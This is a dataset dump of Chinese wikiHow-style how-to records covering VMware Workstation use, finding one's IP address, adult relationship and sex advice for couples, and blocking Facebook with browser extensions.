连接USB驱动到虚拟机。\\n虚拟机如同普通的操作系统一样，可以用USB驱动。USB驱动无法从主机和虚拟机同时进入。\\n如果虚拟机是激活的窗口，USB驱动插入时会自动连接到虚拟机。\\n如果虚拟机不是激活的窗口，或者没有运行，选择虚拟机并点击虚拟菜单。选择可移动磁盘，然后点击连接。USB驱动会自动连接到虚拟机。\\n3-6. 给虚拟机留下快照。\\n快照就是一个保存了的状态，可以让你随时将虚拟机载入那个时刻的状态。\\n选择你的虚拟机，点击虚拟菜单，在截图处点击快照。\\n命名快照。你也可以给快照做个描述，这是可选的。\\n点击OK保存快照。\\n点击虚拟菜单，然后选择一个快照，从而载入已保存的快照。从列表中选取一个你想载入的快照，点击进入。\\n3-7. 熟悉键盘快捷键。\\n用“Ctrl”加某个键可以用来操纵虚拟机。比如“Ctrl”、“Alt”加“Enter”能以全屏模式进入虚拟机或是移动到多台机器上。当鼠标只能在一台机器上使用时，“Ctrl”、“Alt”加“Tab”可以在虚拟机之间切换。\\n\", \"简要回答\": \"虚拟机工作站（VMware Workstation，中文名“威睿工作站”）是一种可以让你在物理机上运行虚拟机的程序。虚拟机的运行就像是一台真的电脑在运行。一台虚拟机可以用来试用新的操作系统，如Linux，还可以访问你不信任的网站，给儿童创造一个电脑环境，测试电脑病毒的影响，等等。你甚至可以写入和插入USB驱动。阅读此指南来了解虚拟机工作站。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"安装虚拟工作站\", \"步骤\": [{\"编号\": 1, \"标题\": \"确定你的电脑符合系统要求。\", \"描述\": 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\"对于Windows和其他有许可的操作系统，你需要输入产品验证码。如果你想要用户名和密码，你也需要输入它们。\\n如果你不用简易安装，你需要浏览你正在安装的操作系统列表。\"}, {\"编号\": 4, \"标题\": \"命名你的虚拟机。\", \"描述\": \"这个名字有助于你在物理电脑上识别出虚拟机，有助于区分运行不同操作系统的多个虚拟电脑。\"}, {\"编号\": 5, \"标题\": \"设置磁盘大小。\", \"描述\": \"你可以分配电脑上任何大小的空间给虚拟机，以作为安装的操作系统的硬盘。确保设定了足够的空间来安装你想在虚拟机上运行的程序。\"}, {\"编号\": 6, \"标题\": \"自定义你机器的虚拟硬盘。\", \"描述\": \"你可以点击“自定义硬盘”来设置虚拟机，从而模拟特定的硬盘。如果你想运行那些只支持特定硬盘的老程序，那么这就很有用。设置它为可选的。\"}, {\"编号\": 7, \"标题\": \"启动虚拟机。\", \"描述\": \"如果你想创建之后马上就允许虚拟机运行，勾选“创建之后以虚拟机启动”旁边的勾选栏。如果你不勾选这个勾选栏，你可以从虚拟机程序中选择你的虚拟机，然后点击启动按钮。\"}, {\"编号\": 8, \"标题\": \"等待安装的完成。\", \"描述\": \"第一时间启动虚拟机之后，操作系统将自动安装。如果你在虚拟机安装过程中都提供了正确的信息，那么就不需要做任何事了。\\n如果你没有输入验证码，或没有在安装过程中创建用户名，那么在操作系统安装过程中就会提示你。\"}, {\"编号\": 9, \"标题\": \"勾选安装的虚拟机工具。\", \"描述\": \"操作系统安装之后，虚拟工具程序应该就会自动安装。查看桌面或是程序文件夹，看看新安装的操作系统。\\n虚拟机工具是对你的虚拟机的配置选项。并且可以让你的虚拟机保持与任何软件修改的数据同步。\"}]}, {\"编号\": 3, \"标题\": \"进入虚拟机\", \"步骤\": [{\"编号\": 1, \"标题\": \"启动一个虚拟机。\", \"描述\": \"要启动虚拟机，点击虚拟菜单，选择你想启动的虚拟机。你可以正常方式启动虚拟机，也可以从虚拟的BIOS进入。\"}, {\"编号\": 2, \"标题\": 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14,702 | 如何确定你的IP地址 | 1. Google
进入该网页利用Google搜索你的IP。
你的IP地址将显示在搜索结果的上方。
2. Windows
2-1. 进入 开始 > 所有程序 > 附件 > 命令提示符。
这将打开命令提示符。
另外，也可以进入 开始 > 运行，输入"cmd"并按确定。
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另外，也可同时按下视窗键和R键，输入"cmd"并按确定。
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2-2. 在命令提示符窗口中，输入"ipconfig"并按回车。
这将为你返回你的IP地址、DNS地址及其他互联网连接的相关信息。
2-3. 在所显示的信息中可以找到你的IP地址。
3. Mac
阅读如何在Mac上确定你的IP地址。
该文介绍了几种方法供你参考。
4. IP网站
进入以下网站之一：
我的IP地址是多少
显示你的IP
我的IP地址是多少
找出你的IP地址
获取我的IP地址
我的IP地址
显示我的IP地址
我的IP地址
5. 本地方法
5-1. 在系统托盘右击或双击网络适配器图标。
5-2. 在新打开的窗口中打开第二个选项卡。
5-3. 查看其中的信息，你将看到你的IP、子网掩码和网关地址。
小提示
请注意你的主IP地址和反应你的本地网络的地址是有区别的。如果你的IP地址的格式是10.xxx.xxx.xxx 或 172.{16 - 31}.xxx.xxx 或 192.168.xxx.xxx，则你所找到的可能是你的本地网络的IP地址。
你的IP地址的格式为：xxx.xxx.xxx.xxx。它只能包括介于0到255之间的数字。例如，如果你进入一个可以显示你的IP的站点并查找你的IP地址为0.288.288.274，则这不可能是真实的IP。
警告
不要下载任何声称会显示你的IP的软件。
当使用需要网站代理的IP信息站点服务时（例如AOL），请注意所得到的IP信息可能是该服务的网站代理的IP而非你的真实IP。
| {
"create_time": "20230517 11:02:16",
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14,703 | 如何和另一半重燃激情 | 1. 更加大胆
1-1. 用新的姿势做爱。
你们可能习惯了男上位，也许是该来点变化的时候了。总是用一种方式做爱，你们就会觉得做爱只是例行公事了。你们的花样越多，往往就会越兴奋。下面是一些可以尝试的变化：
角色转换。一开始可能会觉得很搞笑，但是你会喜欢的。如果你一直在上位，对方在下，那就换换位置吧。这样的改变会让你更兴奋。
做爱时，要力图做到完全打破常规，不要按照平时的姿势进行。要用一种全新的姿势让你兴奋起来。
不要害怕尝试全新的姿势。从网上看看有哪些姿势可以用，看看性爱宝典。你要是不在乎，也可以让闺蜜告诉你一些秘诀。
要增强柔韧性。 性爱前后可以去上瑜伽课，或是跑步拉伸，这样的话，做爱时你的身体柔韧性会更好。如果学会了劈叉，你会更有优势，如果你是女孩，伴侣在上位时，可以发挥你的柔韧性，用腿夹住伴侣的头。
站着做爱，或者在上位的人站起来。当其中一个人站着的时候，可以给他/她在性爱前口交一小会，这没什么好怕的。
还可以用这种姿势做爱：一个人坐在沙发上，另一个人在其身体的上面。
要勇于使用新姿势，但让你们不舒服的动作就算了。双方要一起努力，否则会闹得不愉快。
1-2. 在新的地方做爱。
新姿势可以产生奇妙的作用，在“新的地点”用新的姿势做爱就更神奇了，更能点燃你们的激情。新地方可以有很多，比如卧室的一角、旅馆、露营帐篷都行。下面是一些可以尝试的地方：
到宾馆里做爱。旅馆不必有什么异国情调——完全可以只离你家几个路口远。你会因为到宾馆里做爱而很有感觉的。如果离家很近，也不要收拾行李，这会让你觉得去旅馆就是为了做爱。
一次激动人心的假期。计划一个旅行，到一个浪漫情调的小岛上或沙滩上。找一个没什么事可做的地方，你们只能在沙滩上逛逛，这地方只适合二人世界。如果忙于观光，你们就不会有时间想去做爱了。
在车里做爱好像不太舒服，但仍然会很刺激。在公共场合做爱会产生麻烦，所以要找一个完全隐蔽的地方，不会被别人发现。
在你们“能”被发现的地方做爱。虽然这样做有些不明智，但如果你真想独辟蹊径，就到那种能被发现的地方做爱吧，比如朋友家里，或是在你家里有别人在的时候。
在自家的新地方做爱。向自己保证一到两周不在床上做爱，甚至一个月。你们可以在厨房里，在浴室里，或是在你喜欢的椅子上也行。
在沙发上做爱。沙发不仅仅是让你慵懒坐着的地方，也不仅仅是玩游戏的地方哦。
1-3. 去性用品店或女士内衣商店。
不必害羞，很多情侣往往是一起去这种地方的，你在试衣间试用试穿的时候也会兴奋起来的。去的时候，要打扮得漂亮点儿，手拉着手开心地去。这样好像有点傻，但是很刺激。
购买性感内衣。如果你是女性，可以买蕾丝胸罩和内裤、丁字裤、吊袜带、网眼丝袜，或紧身内衣。不用担心买得太夸张，不用担心不适合，要的就是大胆。
买些香薰蜡烛、性交润滑油或性爱乳液。你们可以点几根蜡烛，把润滑油和乳液抹在身上，为做爱做好准备。
准备一些性爱玩具，比如鞭子、手铐或是别的什么有趣的东西。不一定能用到，但可以试试看。仅仅买了这些东西就已经给你们增添了乐趣。
1-4. 角色游戏。
如果你觉得你们正在陷入日复一日乏味的生活中，就要去点燃你们的激情。还有什么方法比轻松愉快的角色扮演更好呢？这样有点儿风险，但效果超值。下次做爱的时候，试试扮演如下的场景：
假装你在激烈的打斗中，激战正酣，咆哮着，乱扔东西，然后来一次酣畅淋漓的做爱吧。
如果你是女性，可以让男朋友或丈夫假装敲门来修水管，请你签账单，或是因为他迷路了，需要你给他指明方向。你就请他进来喝东西，然后开始。
试试性爱商店里的东西。有很多点子可以激发你的联想，比如你们可以穿成警察、公主或是性感女郎。
告诉伴侣你最喜欢的角色扮演，不管多么荒唐可笑都无所谓。然后就去尝试。
1-5. 尝试做一些没做过的事情。
勇于冒险不只是性爱方面的事情。你和爱人可以走出安全区，做一些疯狂的事情，以此来提升你们的感情。下面的事情可以试试：
户外运动。去玩高空滑索、蹦极、跳伞。可以让你振奋起来，让你们的关系更亲密。
去完全陌生的地方旅游。可以是新加坡或阿根廷。去一个你们两个都完全陌生的地方。
培养一种刺激的爱好。可以是骑越野自行车或空手道。只要是你们两个以前没做过的，就可以坚持下去。你们可以学会新事物，也能在此过程中花更多时间在一起。
吃没吃过的食物。固定每个月去吃一两次以前没吃过的饭馆。你们可以花更多时间交谈，同时让你的味蕾更享受。
2. 更加浪漫
2-1. 常做准备，经常玩点浪漫。
尽管你已经和爱人认识五年甚至二十五年了，但你没理由总是在家穿着睡衣走来走去然后出去吃晚饭。你也不必每天都穿一样的衣服，要像刚开始谈恋爱一样，精心挑选要穿的衣服。
要一直很有精神。如果是要让你们的关系更有激情，就是说你得随时随地准备好做爱。你要经常洗澡，身体保持干净，这样就不会因为好久没洗澡而不愿做爱。
打扮漂亮出去约会。如果决定晚上约会，就要看起来特别一点才行。你们两个都要穿得比平时更好看，让你们感觉更好，觉得更有意思。女孩可以穿性感惊艳的裙子，穿高跟鞋，男孩可以穿西装或者好看的外套。如果你走起路来看着很性感，你也会觉得自己更迷人。
就算晚上没有约会，也可以穿得比平时更好看一点。这能让你们两个觉得更想要浪漫一些。
别忘了恭维一下爱人的外表。你要说的甜蜜动情一点。告诉对方他看起来多么可爱，或是他深蓝色的眼睛在衬衫的衬托下多么吸引人。
2-2. 一次浪漫的约会。
俗话说得好：如果你看起来像这个角色，你就可以演好这个角色。如果你打扮好了，准备浪漫一下，就能真的开始变得浪漫了。来一次浪漫的约会可以让你们的关系迸发火花，还能让你约会结束后一直兴奋不已。下面是一些点子：
看星星。你们要认真严肃地坐在一起，看着星空。准备一瓶啤酒和巧克力。找一天满月的晚上，仰望天空的时候亲吻对方。
一起听情歌。去一个烟雾缭绕的爵士俱乐部，边听歌边抚弄爱人的手。你们也可以穿上盛装去听一场钢琴音乐会。
一起品酒。品尝美酒，骑行穿越葡萄酒之乡，这是一件很浪漫的事情。
兜风。可以乘热气球飞行，坐马车，开车沿着沙滩走，从高处开往低处。
日落时在沙滩上散步。
浪漫野餐。到一个公园里，开一瓶酒，还有好吃的沙拉、奶酪和咸饼干。
在自己家中浪漫地约会一次。你不可能一直出去浪漫地约会，但可以制造一个浪漫的环境。可以做一顿简单又美味的食物，把灯光调暗，点几根蜡烛。放放爵士乐，你就会兴奋起来了。
虽然不能每天晚上都浪漫，你也要尽可能多的计划一次约会之夜。至少一周一次最好。
2-3. 让浪漫成为你日常生活的一部分。
无论是一次热气球旅行，或是一起逛商店，你总能为你们的关系增加一些浪漫元素。无论在哪里都要学会浪漫，浪漫地思考，浪漫地做事。
有创意地说出浪漫的事情。你可以在家中留个便条，好让爱人知道他对你多么重要，贴在镜子上的便利贴效果最好。
浪漫的举动。如果你是女孩，可以在对方想不到的时候亲吻他，告诉对方今天他很棒、很帅。如果你是男性，就要绅士一些。为女士拉出椅子，为女士开门，女士冷了要递上衣服，就算对方说不冷也要这样。
给爱人写一首情诗。没什么可害羞的！只要用心去写就好。你们也可以到一个公园，花一个小时彼此给对方写个浪漫留言或作一首诗，然后交换。
不要忘了赞美爱人身上最大的优点。每天早上和睡觉前告诉他你多么爱他。
不在一起的时候也要浪漫。无论是双方都在工作还或其中一方有好几天不在身边的时候，都别忘了发个短信，发个邮件，或是语音留言，告诉对方你多么爱他。
多一些时间亲吻。点燃激情不仅是做爱。而是和你的爱人享受每一件小事，其中就包括温柔的亲吻。
交流也要浪漫。和爱人花时间聊天，分享你们的想法和感受。可以花点儿时间给你爱人写一封长一点的信，表达你的感想。
3. 更下流一些
3-1. 用食物。
合适的食物能让你们的关系和性生活更有激情，不必担心，用你们最喜欢的性爱食物来制造下流的气氛吧！下面是一些选择：
如果你是女孩，可以让男孩在你的双乳间倒些酒，然后让他舔干净。
吸吮冰棒、薄荷或冰块，然后亲吻对方，让对方满足。享受这种新鲜的感受。
裸体吃东西。如果你们吃的是一些性爱食物，比如水果和巧克力，你俩就会更有兴致。
晚饭吃甜点。把食物放在身体的敏感部位，让伴侣喂你吃。
把一小块巧克力放在对方的赤裸的部位，然后吃掉。不能用手，只能用口。
3-2. 说点儿下流话。
说点下流话有助于让你们更兴奋，让你们的关系更有激情。无论是在被单下面还是短信、电话里说，下流话都能助你进入做爱的状态。
电话里说点下流话。告诉对方你希望他做什么，然后安排一次见面，让你“梦想”成真，或是来一次电话性爱。
前戏之前说点黄段子。说到点儿上就能让对方兴奋起来，甚至你们在开始接吻之前就兴奋了。
做爱时说下流话。让对方知道你的感受，知道你多么喜欢他的身体。
发发下流短信。发短信能告诉你的爱人，你已经迫不及待地想要跟他来一发了。说得越生动越好，只要知道他那边没有别人看到你发的短信就行。
3-3. 看看成人片。
和你的爱人一起看看性爱电影，可以让你们更快进入状态，让你们迫不及待地脱光衣服。一开始可能会觉得有点怪，但看到别人兴奋，不仅会让你们也兴奋起来，还能给你们提供一些性爱过程中的好点子。
一起看浪漫电影，比如《九个半星期》或《野兰花》。
看色情电视剧。看别人在电视里约会，互相抚摸，抑或做爱，能让你们进入状态。
守旧一些。一起看看情色图片，在没有成人片之前，人们做爱前就是靠这些图片兴奋起来的。
如果你愿意，就一起看成人片吧。
3-4. 自然随性。
如果你知道自己能随时兴奋起来，你们的关系就会更有激情了。当然，要提前计划好约会，有意识的交流和花时间在一起很重要，但别计划过度也很重要。
在一起的时候，白天中途离开对方，去开房，然后跟他做爱。不到最后一分钟别告诉他你实际在什么地方。
如果想做爱就去做吧。除非对方真的没有感觉，冲动来了就不要犹豫。
有冲动的时候就接吻吧。亲吻产生的激情不亚于做爱。如果你的情绪出来了，就亲吻对方吧，或是在当时的任何地方开始缠绵都行。
计划一次随性的旅行。打包行李，和伴侣一起驱车向着日落前进。你们可以在车上畅所欲言地交流，一到目的地，就开始美妙无比的性爱。
如果你们的所在地不合适做爱，就拉住对方的手把他带回家，告诉他说，“我想和你那个，就是现在。”然后冲进卧室疯狂做爱。
小提示
不把爱人的存在当做理所当然，这是另一个提升关系的方法。别忘了告诉对方，你能和他在一起是你莫大的幸运。
你要明白注定已经失败的爱情和只需要来点调剂的爱情之间的区别。
一起上舞蹈课是点燃爱情火花的好办法，也要尝试一些别的新鲜方法。
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在新的地方做爱。\\n新姿势可以产生奇妙的作用，在“新的地点”用新的姿势做爱就更神奇了，更能点燃你们的激情。新地方可以有很多，比如卧室的一角、旅馆、露营帐篷都行。下面是一些可以尝试的地方：\\n到宾馆里做爱。旅馆不必有什么异国情调——完全可以只离你家几个路口远。你会因为到宾馆里做爱而很有感觉的。如果离家很近，也不要收拾行李，这会让你觉得去旅馆就是为了做爱。\\n一次激动人心的假期。计划一个旅行，到一个浪漫情调的小岛上或沙滩上。找一个没什么事可做的地方，你们只能在沙滩上逛逛，这地方只适合二人世界。如果忙于观光，你们就不会有时间想去做爱了。\\n在车里做爱好像不太舒服，但仍然会很刺激。在公共场合做爱会产生麻烦，所以要找一个完全隐蔽的地方，不会被别人发现。\\n在你们“能”被发现的地方做爱。虽然这样做有些不明智，但如果你真想独辟蹊径，就到那种能被发现的地方做爱吧，比如朋友家里，或是在你家里有别人在的时候。\\n在自家的新地方做爱。向自己保证一到两周不在床上做爱，甚至一个月。你们可以在厨房里，在浴室里，或是在你喜欢的椅子上也行。\\n在沙发上做爱。沙发不仅仅是让你慵懒坐着的地方，也不仅仅是玩游戏的地方哦。\\n1-3. 去性用品店或女士内衣商店。\\n不必害羞，很多情侣往往是一起去这种地方的，你在试衣间试用试穿的时候也会兴奋起来的。去的时候，要打扮得漂亮点儿，手拉着手开心地去。这样好像有点傻，但是很刺激。\\n购买性感内衣。如果你是女性，可以买蕾丝胸罩和内裤、丁字裤、吊袜带、网眼丝袜，或紧身内衣。不用担心买得太夸张，不用担心不适合，要的就是大胆。\\n买些香薰蜡烛、性交润滑油或性爱乳液。你们可以点几根蜡烛，把润滑油和乳液抹在身上，为做爱做好准备。\\n准备一些性爱玩具，比如鞭子、手铐或是别的什么有趣的东西。不一定能用到，但可以试试看。仅仅买了这些东西就已经给你们增添了乐趣。\\n1-4. 角色游戏。\\n如果你觉得你们正在陷入日复一日乏味的生活中，就要去点燃你们的激情。还有什么方法比轻松愉快的角色扮演更好呢？这样有点儿风险，但效果超值。下次做爱的时候，试试扮演如下的场景：\\n假装你在激烈的打斗中，激战正酣，咆哮着，乱扔东西，然后来一次酣畅淋漓的做爱吧。\\n如果你是女性，可以让男朋友或丈夫假装敲门来修水管，请你签账单，或是因为他迷路了，需要你给他指明方向。你就请他进来喝东西，然后开始。\\n试试性爱商店里的东西。有很多点子可以激发你的联想，比如你们可以穿成警察、公主或是性感女郎。\\n告诉伴侣你最喜欢的角色扮演，不管多么荒唐可笑都无所谓。然后就去尝试。\\n1-5. 尝试做一些没做过的事情。\\n勇于冒险不只是性爱方面的事情。你和爱人可以走出安全区，做一些疯狂的事情，以此来提升你们的感情。下面的事情可以试试：\\n户外运动。去玩高空滑索、蹦极、跳伞。可以让你振奋起来，让你们的关系更亲密。\\n去完全陌生的地方旅游。可以是新加坡或阿根廷。去一个你们两个都完全陌生的地方。\\n培养一种刺激的爱好。可以是骑越野自行车或空手道。只要是你们两个以前没做过的，就可以坚持下去。你们可以学会新事物，也能在此过程中花更多时间在一起。\\n吃没吃过的食物。固定每个月去吃一两次以前没吃过的饭馆。你们可以花更多时间交谈，同时让你的味蕾更享受。\\n2. 更加浪漫\\n2-1. 常做准备，经常玩点浪漫。\\n尽管你已经和爱人认识五年甚至二十五年了，但你没理由总是在家穿着睡衣走来走去然后出去吃晚饭。你也不必每天都穿一样的衣服，要像刚开始谈恋爱一样，精心挑选要穿的衣服。\\n要一直很有精神。如果是要让你们的关系更有激情，就是说你得随时随地准备好做爱。你要经常洗澡，身体保持干净，这样就不会因为好久没洗澡而不愿做爱。\\n打扮漂亮出去约会。如果决定晚上约会，就要看起来特别一点才行。你们两个都要穿得比平时更好看，让你们感觉更好，觉得更有意思。女孩可以穿性感惊艳的裙子，穿高跟鞋，男孩可以穿西装或者好看的外套。如果你走起路来看着很性感，你也会觉得自己更迷人。\\n就算晚上没有约会，也可以穿得比平时更好看一点。这能让你们两个觉得更想要浪漫一些。\\n别忘了恭维一下爱人的外表。你要说的甜蜜动情一点。告诉对方他看起来多么可爱，或是他深蓝色的眼睛在衬衫的衬托下多么吸引人。\\n2-2. 一次浪漫的约会。\\n俗话说得好：如果你看起来像这个角色，你就可以演好这个角色。如果你打扮好了，准备浪漫一下，就能真的开始变得浪漫了。来一次浪漫的约会可以让你们的关系迸发火花，还能让你约会结束后一直兴奋不已。下面是一些点子：\\n看星星。你们要认真严肃地坐在一起，看着星空。准备一瓶啤酒和巧克力。找一天满月的晚上，仰望天空的时候亲吻对方。\\n一起听情歌。去一个烟雾缭绕的爵士俱乐部，边听歌边抚弄爱人的手。你们也可以穿上盛装去听一场钢琴音乐会。\\n一起品酒。品尝美酒，骑行穿越葡萄酒之乡，这是一件很浪漫的事情。\\n兜风。可以乘热气球飞行，坐马车，开车沿着沙滩走，从高处开往低处。\\n日落时在沙滩上散步。\\n浪漫野餐。到一个公园里，开一瓶酒，还有好吃的沙拉、奶酪和咸饼干。\\n在自己家中浪漫地约会一次。你不可能一直出去浪漫地约会，但可以制造一个浪漫的环境。可以做一顿简单又美味的食物，把灯光调暗，点几根蜡烛。放放爵士乐，你就会兴奋起来了。\\n虽然不能每天晚上都浪漫，你也要尽可能多的计划一次约会之夜。至少一周一次最好。\\n2-3. 让浪漫成为你日常生活的一部分。\\n无论是一次热气球旅行，或是一起逛商店，你总能为你们的关系增加一些浪漫元素。无论在哪里都要学会浪漫，浪漫地思考，浪漫地做事。\\n有创意地说出浪漫的事情。你可以在家中留个便条，好让爱人知道他对你多么重要，贴在镜子上的便利贴效果最好。\\n浪漫的举动。如果你是女孩，可以在对方想不到的时候亲吻他，告诉对方今天他很棒、很帅。如果你是男性，就要绅士一些。为女士拉出椅子，为女士开门，女士冷了要递上衣服，就算对方说不冷也要这样。\\n给爱人写一首情诗。没什么可害羞的！只要用心去写就好。你们也可以到一个公园，花一个小时彼此给对方写个浪漫留言或作一首诗，然后交换。\\n不要忘了赞美爱人身上最大的优点。每天早上和睡觉前告诉他你多么爱他。\\n不在一起的时候也要浪漫。无论是双方都在工作还或其中一方有好几天不在身边的时候，都别忘了发个短信，发个邮件，或是语音留言，告诉对方你多么爱他。\\n多一些时间亲吻。点燃激情不仅是做爱。而是和你的爱人享受每一件小事，其中就包括温柔的亲吻。\\n交流也要浪漫。和爱人花时间聊天，分享你们的想法和感受。可以花点儿时间给你爱人写一封长一点的信，表达你的感想。\\n3. 更下流一些\\n3-1. 用食物。\\n合适的食物能让你们的关系和性生活更有激情，不必担心，用你们最喜欢的性爱食物来制造下流的气氛吧！下面是一些选择：\\n如果你是女孩，可以让男孩在你的双乳间倒些酒，然后让他舔干净。\\n吸吮冰棒、薄荷或冰块，然后亲吻对方，让对方满足。享受这种新鲜的感受。\\n裸体吃东西。如果你们吃的是一些性爱食物，比如水果和巧克力，你俩就会更有兴致。\\n晚饭吃甜点。把食物放在身体的敏感部位，让伴侣喂你吃。\\n把一小块巧克力放在对方的赤裸的部位，然后吃掉。不能用手，只能用口。\\n3-2. 说点儿下流话。\\n说点下流话有助于让你们更兴奋，让你们的关系更有激情。无论是在被单下面还是短信、电话里说，下流话都能助你进入做爱的状态。\\n电话里说点下流话。告诉对方你希望他做什么，然后安排一次见面，让你“梦想”成真，或是来一次电话性爱。\\n前戏之前说点黄段子。说到点儿上就能让对方兴奋起来，甚至你们在开始接吻之前就兴奋了。\\n做爱时说下流话。让对方知道你的感受，知道你多么喜欢他的身体。\\n发发下流短信。发短信能告诉你的爱人，你已经迫不及待地想要跟他来一发了。说得越生动越好，只要知道他那边没有别人看到你发的短信就行。\\n3-3. 看看成人片。\\n和你的爱人一起看看性爱电影，可以让你们更快进入状态，让你们迫不及待地脱光衣服。一开始可能会觉得有点怪，但看到别人兴奋，不仅会让你们也兴奋起来，还能给你们提供一些性爱过程中的好点子。\\n一起看浪漫电影，比如《九个半星期》或《野兰花》。\\n看色情电视剧。看别人在电视里约会，互相抚摸，抑或做爱，能让你们进入状态。\\n守旧一些。一起看看情色图片，在没有成人片之前，人们做爱前就是靠这些图片兴奋起来的。\\n如果你愿意，就一起看成人片吧。\\n3-4. 自然随性。\\n如果你知道自己能随时兴奋起来，你们的关系就会更有激情了。当然，要提前计划好约会，有意识的交流和花时间在一起很重要，但别计划过度也很重要。\\n在一起的时候，白天中途离开对方，去开房，然后跟他做爱。不到最后一分钟别告诉他你实际在什么地方。\\n如果想做爱就去做吧。除非对方真的没有感觉，冲动来了就不要犹豫。\\n有冲动的时候就接吻吧。亲吻产生的激情不亚于做爱。如果你的情绪出来了，就亲吻对方吧，或是在当时的任何地方开始缠绵都行。\\n计划一次随性的旅行。打包行李，和伴侣一起驱车向着日落前进。你们可以在车上畅所欲言地交流，一到目的地，就开始美妙无比的性爱。\\n如果你们的所在地不合适做爱，就拉住对方的手把他带回家，告诉他说，“我想和你那个，就是现在。”然后冲进卧室疯狂做爱。\\n小提示\\n不把爱人的存在当做理所当然，这是另一个提升关系的方法。别忘了告诉对方，你能和他在一起是你莫大的幸运。\\n你要明白注定已经失败的爱情和只需要来点调剂的爱情之间的区别。\\n一起上舞蹈课是点燃爱情火花的好办法，也要尝试一些别的新鲜方法。\\n\", \"简要回答\": \"让你们的爱情一直保有新鲜感，其实并不太容易。你和爱人的感情可能确实是越来越深了，但你们同时需要想办法，让你们的爱情关系和性生活不会变得乏味。想知道如何让你们的关系重燃激情吗？你可以遵照下面这些方法来做哦。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"更加大胆\", \"步骤\": [{\"编号\": 1, \"标题\": \"用新的姿势做爱。\", \"描述\": \"你们可能习惯了男上位，也许是该来点变化的时候了。总是用一种方式做爱，你们就会觉得做爱只是例行公事了。你们的花样越多，往往就会越兴奋。下面是一些可以尝试的变化：\\n角色转换。一开始可能会觉得很搞笑，但是你会喜欢的。如果你一直在上位，对方在下，那就换换位置吧。这样的改变会让你更兴奋。\\n做爱时，要力图做到完全打破常规，不要按照平时的姿势进行。要用一种全新的姿势让你兴奋起来。\\n不要害怕尝试全新的姿势。从网上看看有哪些姿势可以用，看看性爱宝典。你要是不在乎，也可以让闺蜜告诉你一些秘诀。\\n要增强柔韧性。 性爱前后可以去上瑜伽课，或是跑步拉伸，这样的话，做爱时你的身体柔韧性会更好。如果学会了劈叉，你会更有优势，如果你是女孩，伴侣在上位时，可以发挥你的柔韧性，用腿夹住伴侣的头。\\n站着做爱，或者在上位的人站起来。当其中一个人站着的时候，可以给他/她在性爱前口交一小会，这没什么好怕的。\\n还可以用这种姿势做爱：一个人坐在沙发上，另一个人在其身体的上面。\\n要勇于使用新姿势，但让你们不舒服的动作就算了。双方要一起努力，否则会闹得不愉快。\"}, {\"编号\": 2, \"标题\": \"在新的地方做爱。\", \"描述\": \"新姿势可以产生奇妙的作用，在“新的地点”用新的姿势做爱就更神奇了，更能点燃你们的激情。新地方可以有很多，比如卧室的一角、旅馆、露营帐篷都行。下面是一些可以尝试的地方：\\n到宾馆里做爱。旅馆不必有什么异国情调——完全可以只离你家几个路口远。你会因为到宾馆里做爱而很有感觉的。如果离家很近，也不要收拾行李，这会让你觉得去旅馆就是为了做爱。\\n一次激动人心的假期。计划一个旅行，到一个浪漫情调的小岛上或沙滩上。找一个没什么事可做的地方，你们只能在沙滩上逛逛，这地方只适合二人世界。如果忙于观光，你们就不会有时间想去做爱了。\\n在车里做爱好像不太舒服，但仍然会很刺激。在公共场合做爱会产生麻烦，所以要找一个完全隐蔽的地方，不会被别人发现。\\n在你们“能”被发现的地方做爱。虽然这样做有些不明智，但如果你真想独辟蹊径，就到那种能被发现的地方做爱吧，比如朋友家里，或是在你家里有别人在的时候。\\n在自家的新地方做爱。向自己保证一到两周不在床上做爱，甚至一个月。你们可以在厨房里，在浴室里，或是在你喜欢的椅子上也行。\\n在沙发上做爱。沙发不仅仅是让你慵懒坐着的地方，也不仅仅是玩游戏的地方哦。\"}, {\"编号\": 3, \"标题\": \"去性用品店或女士内衣商店。\", \"描述\": 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14,704 | 如何如何暂时屏蔽你的Facebook帐户 | 1. 使用浏览器插件
1-1. 下载Firefox或Chrome浏览器。
这些浏览器都允许你安装提高其性能的各种插件。你可以下载安装阻止你在特定时间访问特定网站的相应的插件。
Firefox和Chrome的下载都是免费的。
1-2. 下载一个工作效率拓展包。
网上有许多通过屏蔽网站（如Facebook）来提高你工作效率的可用插件。对应于不同的浏览器，常用来安装在Firefox上的插件是LeechBlock，而Chrome的常用插件是StayFocused。
点击Firefox按钮，选择附加组件。在“搜索所有附加组件”栏里输入leechblock。点击搜索结果中出现的LeechBlock右侧的安装按钮。此时LeechBlock将被自动下载并完成安装。接下来重启Firefox浏览器。
点击Chrome的菜单按钮。选择工具→ 拓展程序。然后点击菜单底部的“获取更多拓展程序”链接。在“搜索店内应用”一栏中输入stayfocused。点击插件搜索结果顶部的"+免费"按钮。然后点击确认对话框中的“添加”按钮。
1-3. 设置你的拓展插件。
当你安装好相应插件后，你需要对其进行设置，包括设置阻拦Facebook网站以及设置在哪些特定的时间段进行屏蔽。依据插件的不同，对其进行设置的过程可能也略有差异。
— 点击Firefox菜单并选择附加组件，然后在插件列表中找到LeechBlock，并点击选项按钮。在选项窗口的中间的文本框中添加“www.facebook.com”网站。
点击“何时阻拦”选项卡并设置屏蔽时间。时间的设置是以24小时制式为准。你可以将时间设置为网站的封锁在一定的时间后结束，或设置为在一天的特定时间屏蔽网站。或者两者兼而有之。
点击“拦截方式”选项卡，并选择在你访问该网站时进行拦截。默认情况下，在Facebook被拦截后页面会自动跳转至LeechBlock通知页面，但是你也可以将跳转页面设置为其它的网页。
点击高级选项卡来设置高级选项。其中包括在拦截时间段内禁用LeechBlock选项菜单以及禁止访问Firefox配置菜单。在选择这些选项时，你最好确定自己已了解这样设置的后果（因为在设定的屏蔽时间中你将无法访问并操作选项菜单）
添加密码。点击选项窗口顶部的访问控制选项卡来添加LeechBlock的密码。该密码不是为了安全而设，而是为了在你和解除屏蔽设置之间添加一个额外的障碍。这样可以给你更多时间来思考是否确定解除屏蔽。
点击浏览器工具栏里的StayFocused按钮。该图标会在插件安装完成后立刻出现在工具栏里。点击对话框底部的“设置”链接。
点击设置页面左侧菜单里的“拦截网站”选项，并在其中添加“www.facebook.com”网站，然后点击“添加拦截网站”按钮。如果你想阻止自己解除StayFocused对Facebook的屏蔽，你可以添加“拦截Chrome附加组件页”到屏蔽网页列表中。
